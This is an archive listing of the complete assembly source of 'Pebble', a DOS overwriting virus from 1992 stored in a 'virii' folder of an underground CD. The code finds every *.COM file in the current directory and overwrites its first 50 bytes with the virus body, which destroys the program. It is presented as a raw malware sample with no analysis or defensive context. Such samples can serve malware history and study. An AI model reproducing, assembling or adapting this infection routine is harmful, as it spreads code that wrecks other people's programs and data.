home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / p / pebble.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.5 KB  |  67 lines
  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    PEBBLE                         ██
  7. ;██                                         ██
  8. ;██      Created:   21-Feb-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_0001e    equ    9Eh
  14.  
  15. seg_a        segment    byte public
  16.         assume    cs:seg_a, ds:seg_a
  17.  
  18.  
  19.         org    100h
  20.  
  21. pebble        proc    far
  22.  
  23. start:
  24.         mov    ah,4Eh            ; 'N'
  25.         mov    cx,27h
  26.         mov    dx,12Ch
  27. loc_0001:
  28.         int    21h            ; DOS Services  ah=function 4Fh
  29.                         ;  find next filename match
  30.         jc    loc_0002        ; Jump if carry Set
  31.         call    sub_0001
  32.         mov    ah,4Fh            ; 'O'
  33.         jmp    short loc_0001
  34. loc_0002:
  35.         int    20h            ; DOS program terminate
  36.  
  37. pebble        endp
  38.  
  39. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  40. ;                   SUBROUTINE
  41. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  42.  
  43. sub_0001    proc    near
  44.         mov    ax,3D02h
  45.         mov    dx,data_0001e
  46.         int    21h            ; DOS Services  ah=function 3Dh
  47.                         ;  open file, al=mode,name@ds:dx
  48.         mov    ah,40h            ; '@'
  49.         mov    cx,32h
  50.         mov    dx,100h
  51.         int    21h            ; DOS Services  ah=function 40h
  52.                         ;  write file  bx=file handle
  53.                         ;   cx=bytes from ds:dx buffer
  54.         mov    ah,3Eh            ; '>'
  55.         int    21h            ; DOS Services  ah=function 3Eh
  56.                         ;  close file, bx=file handle
  57.         retn
  58. sub_0001    endp
  59.  
  60.         db     2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h
  61.  
  62. seg_a        ends
  63.  
  64.  
  65.  
  66.         end    start
  67.